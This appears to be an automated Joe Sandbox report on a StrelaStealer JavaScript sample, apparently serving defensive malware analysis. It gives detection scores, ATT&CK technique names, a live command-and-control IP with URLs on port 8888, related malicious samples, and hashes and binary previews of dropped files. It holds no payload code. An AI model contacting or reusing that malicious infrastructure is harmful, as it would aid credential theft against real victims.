Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
32600206981428831400.js	5%	Virustotal		Browse
32600206981428831400.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/z	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/L	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/z	net.exe, 00000007.00000002.1457238813.0000025FE4FA1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000009.00000002.2683338731.000002210E000000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1456383349.000002210DF20000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1457238813.0000025FE4FCC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1457238813.0000025FE4FA1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/L	net.exe, 00000007.00000002.1457238813.0000025FE4FCC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588310
Start date and time:	2025-01-10 23:50:51 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	32600206981428831400.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 34.237.241.83, 54.224.241.105, 50.16.47.176, 18.213.11.84, 184.28.90.27, 23.209.209.135, 199.232.210.172, 2.16.168.107, 2.16.168.105, 52.22.41.97, 20.109.210.53, 23.206.229.226, 104.126.112.182
Excluded domains from analysis (whitelisted): www.bing.com, e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, 4.8.2.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.0.0.2.0.c.0.0.3.0.1.3.0.6.2.ip6.arpa, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
17:51:45	API Interceptor	25x Sleep call for process: powershell.exe modified
17:51:50	API Interceptor	1x Sleep call for process: net.exe modified
17:51:50	API Interceptor	2x Sleep call for process: svchost.exe modified
17:51:58	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	240815025266174071.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17231147702223410654.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2640024673100216355.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16981299741734811290.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	8058323181786520440.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	26448249042746730897.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5250250172915227960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	631311201545628497.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	215842497016059950.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	507722252877028578.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	240815025266174071.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	17231147702223410654.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2640024673100216355.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	8058323181786520440.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	5250250172915227960.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	631311201545628497.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	215842497016059950.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	507722252877028578.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	434027412290322097.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	31554291391030831415.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	240815025266174071.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17231147702223410654.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2640024673100216355.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28137108151929013281.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16981299741734811290.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	8058323181786520440.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	26448249042746730897.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5250250172915227960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	631311201545628497.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	215842497016059950.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021872349838035
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUA+:RJE+Lfki1GjHwU/+vVhWqpD
MD5:	204FD850EAC7EF639E5A7309496860C0
SHA1:	DD30F55CFD523348638BDEE7EC8ABBC18DB5DB61
SHA-256:	FFB3A74214104FD6490E6E9FB98874B81CFD3A10EAA13492115CF4024A362FE2
SHA-512:	3B5D10A17F9553022950F495083C0C155B8ABA295C7D27594C5CA4FC54585CDC50E1585967142DC57A9D719175FD8632B96936F5BE4E8BA96761BF656C45FFE1
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xfa50302e, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9432843964446108
Encrypted:	false
SSDEEP:	1536:rSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:razaHvxXy2V2UR
MD5:	FE33AF7917A3C422542DD8CC7066F1AC
SHA1:	43CCD0286515F561EB8F83E4A245D339EA83780E
SHA-256:	0E3448BCC30D501C0F2EFBB003CC4C1288EA3D9A609CD0B2F249C44D8ADEF0C6
SHA-512:	A41F2F45030FCFD55C63A741B45D01F8B5BAE7423A02008ED9E112C6E73F164EA2055E888927C86BBF5F7FDA872281F3040D0360C349C7A2DD81D3CF6A39ADB9
Malicious:	false
Preview:	.P0.... ...............X\...;...{......................0.x...... ...{s.33...}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{...................................7..33...}....................G33...}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08123992926044812
Encrypted:	false
SSDEEP:	3:JFmll/EYehkwFcll/nqlFcl1ZUllllMT0vRw//AllGBnX/l/Tj/k7/t:Sl6zhkrll/qlFclQ/lOT0vRwA254
MD5:	F29DD993625149E4BAD9DBE53A841EC7
SHA1:	D60355D52759DCA62C65FB82C0BB10622115998F
SHA-256:	42775FFA62B9C173B2B21CC7B3AFFC98491AC0EC720E6A447242D6872D87670C
SHA-512:	25D15876F0B29BE5D632ADABC46F673B275988F9DE782EC81B74345D63A1143DFC5650DEB9AAF881CF17081BE1D9EB9265F94849435BC732C78A926EEB370653
Malicious:	false
Preview:	"........................................;...{..33...}... ...{s.......... ...{s.. ...{s.P.... ...{s....................G33...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.196119833694024
Encrypted:	false
SSDEEP:	6:iO4pxJ+q2PCHhJ2nKuAl9OmbnIFUtSpKPZZmwspKPNVkwOCHhJ2nKuAl9OmbjLJ:7W+vBHAahFUtz/RV56HAaSJ
MD5:	A0E721F26363A1E052AB6D69D4467110
SHA1:	0A6852BE6D6B5EE91795B814CA1ECCC14EF1C22F
SHA-256:	563DFFEB10EAA76EC2164603EC9EBB46AB7957CBB45E804442A09CC01D407A2A
SHA-512:	F3E4A60B81A7843334EE8AC160E2392CB80210A3345E9D38603E098A14F498053FAE568625DC698C12620D5F5517D2B3EF16A1BA8CE5B27735995CC1EB627D5C
Malicious:	false
Preview:	2025/01/10-17:51:50.445 1f7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:51:50.448 1f7c Recovering log #3.2025/01/10-17:51:50.448 1f7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.196119833694024
Encrypted:	false
SSDEEP:	6:iO4pxJ+q2PCHhJ2nKuAl9OmbnIFUtSpKPZZmwspKPNVkwOCHhJ2nKuAl9OmbjLJ:7W+vBHAahFUtz/RV56HAaSJ
MD5:	A0E721F26363A1E052AB6D69D4467110
SHA1:	0A6852BE6D6B5EE91795B814CA1ECCC14EF1C22F
SHA-256:	563DFFEB10EAA76EC2164603EC9EBB46AB7957CBB45E804442A09CC01D407A2A
SHA-512:	F3E4A60B81A7843334EE8AC160E2392CB80210A3345E9D38603E098A14F498053FAE568625DC698C12620D5F5517D2B3EF16A1BA8CE5B27735995CC1EB627D5C
Malicious:	false
Preview:	2025/01/10-17:51:50.445 1f7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:51:50.448 1f7c Recovering log #3.2025/01/10-17:51:50.448 1f7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.118679278120453
Encrypted:	false
SSDEEP:	6:iO4pATLz4q2PCHhJ2nKuAl9Ombzo2jMGIFUtSpAdv3JZmwspAdv3DkwOCHhJ2nK3:7Vb4vBHAa8uFUtHdvJ/JdvD56HAa8RJ
MD5:	7867172F02257970D0AB3CB8D687B157
SHA1:	42212AF694C98E18635404C6DDA87568B338B685
SHA-256:	10C979B92F68E9AD877F5BB68E48F3D5D9138F0CEEC4F3346FB707FD2E86E3D2
SHA-512:	8086D4D53A3CC14E1D83FEF907E2AEE6E554C32D43ECBF22A9A1EE09A30FB6A56D0D93AC65D9CA3ED7C3C7A85CE794F32256E4D2BDBEF23A3287EA6D2F975305
Malicious:	false
Preview:	2025/01/10-17:51:50.506 1a60 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:51:50.508 1a60 Recovering log #3.2025/01/10-17:51:50.508 1a60 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.118679278120453
Encrypted:	false
SSDEEP:	6:iO4pATLz4q2PCHhJ2nKuAl9Ombzo2jMGIFUtSpAdv3JZmwspAdv3DkwOCHhJ2nK3:7Vb4vBHAa8uFUtHdvJ/JdvD56HAa8RJ
MD5:	7867172F02257970D0AB3CB8D687B157
SHA1:	42212AF694C98E18635404C6DDA87568B338B685
SHA-256:	10C979B92F68E9AD877F5BB68E48F3D5D9138F0CEEC4F3346FB707FD2E86E3D2
SHA-512:	8086D4D53A3CC14E1D83FEF907E2AEE6E554C32D43ECBF22A9A1EE09A30FB6A56D0D93AC65D9CA3ED7C3C7A85CE794F32256E4D2BDBEF23A3287EA6D2F975305
Malicious:	false
Preview:	2025/01/10-17:51:50.506 1a60 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:51:50.508 1a60 Recovering log #3.2025/01/10-17:51:50.508 1a60 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.968396423364024
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqlksBdOg2HYcaq3QYiub6P7E4T3y:Y2sRdsYJdMHT3QYhbS7nby
MD5:	E4987E95C95BD15CE5ECCD00C9C82111
SHA1:	BE54D32FEAB50D91F8EDF5A7E96F48D239695840
SHA-256:	4D76BCBFE5ADB2720098A9B27E6503167119D1E49E528F558CDBCFF6BE9700AA
SHA-512:	751B2B925D6820185F669F16651B7A7724DB11F5DFAB0D512DCCF416B41B97D613727D4AFB3E4B8717B16DB6D2B88532375682FAC1114D93F358800937EE5744
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381109522130627","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":120492},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f0fda893-2130-4e4a-9956-0bbab076902b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.968396423364024
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqlksBdOg2HYcaq3QYiub6P7E4T3y:Y2sRdsYJdMHT3QYhbS7nby
MD5:	E4987E95C95BD15CE5ECCD00C9C82111
SHA1:	BE54D32FEAB50D91F8EDF5A7E96F48D239695840
SHA-256:	4D76BCBFE5ADB2720098A9B27E6503167119D1E49E528F558CDBCFF6BE9700AA
SHA-512:	751B2B925D6820185F669F16651B7A7724DB11F5DFAB0D512DCCF416B41B97D613727D4AFB3E4B8717B16DB6D2B88532375682FAC1114D93F358800937EE5744
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381109522130627","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":120492},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.2386002268109815
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bArXl:S43C4mS7fFi0KFYDjr3LWO3V3aw+bArV
MD5:	CA2DAC0B818F7BB4FC1800092DDF2E9B
SHA1:	A4F12B31BB2697F9F34F962AA3433C3808BC0A32
SHA-256:	EB6EB05F3E64E567390B88D39AD513715D0A8E49650C1454BF44C9F3EE8196B2
SHA-512:	39B041D230CCF70F5DC74ECFDE5A66F5E1526DE2F5F928B32F6E85D1F0910D26FD918AC5D6383F04CD19C5205000D577876D186DC69D068E004B4ACA82BFEDE7
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.153057748688406
Encrypted:	false
SSDEEP:	6:iO4pwN4q2PCHhJ2nKuAl9OmbzNMxIFUtSpMJZmwspVZDkwOCHhJ2nKuAl9OmbzNq:7n4vBHAa8jFUt/J/cZD56HAa84J
MD5:	1F38B44A3CEDB5B7640A4E771B875C64
SHA1:	9560377D1943B6B81ECA1CC229EFAAF69F0657A1
SHA-256:	1971260E45BAFD42E7191CC15CDF39ED6D27056AE2D30483059E2B0FFCF8306B
SHA-512:	248CD0892F1538ABCF9A39DEFD9698C11D567D48EC45ABBE012DB9EAE7D472657A2C64F0E77C36D30EBF4FBB167D669A09E9E505674B998905AEA9B962F1DAF7
Malicious:	false
Preview:	2025/01/10-17:51:50.812 1a60 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:51:50.814 1a60 Recovering log #3.2025/01/10-17:51:50.815 1a60 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.153057748688406
Encrypted:	false
SSDEEP:	6:iO4pwN4q2PCHhJ2nKuAl9OmbzNMxIFUtSpMJZmwspVZDkwOCHhJ2nKuAl9OmbzNq:7n4vBHAa8jFUt/J/cZD56HAa84J
MD5:	1F38B44A3CEDB5B7640A4E771B875C64
SHA1:	9560377D1943B6B81ECA1CC229EFAAF69F0657A1
SHA-256:	1971260E45BAFD42E7191CC15CDF39ED6D27056AE2D30483059E2B0FFCF8306B
SHA-512:	248CD0892F1538ABCF9A39DEFD9698C11D567D48EC45ABBE012DB9EAE7D472657A2C64F0E77C36D30EBF4FBB167D669A09E9E505674B998905AEA9B962F1DAF7
Malicious:	false
Preview:	2025/01/10-17:51:50.812 1a60 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:51:50.814 1a60 Recovering log #3.2025/01/10-17:51:50.815 1a60 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklAawmllltfllXlE/HT8kylz1NNX8RolJuRdxLlGB9lQRYwpDdt:kKZo/eT8N7NMa8RdWBwRd
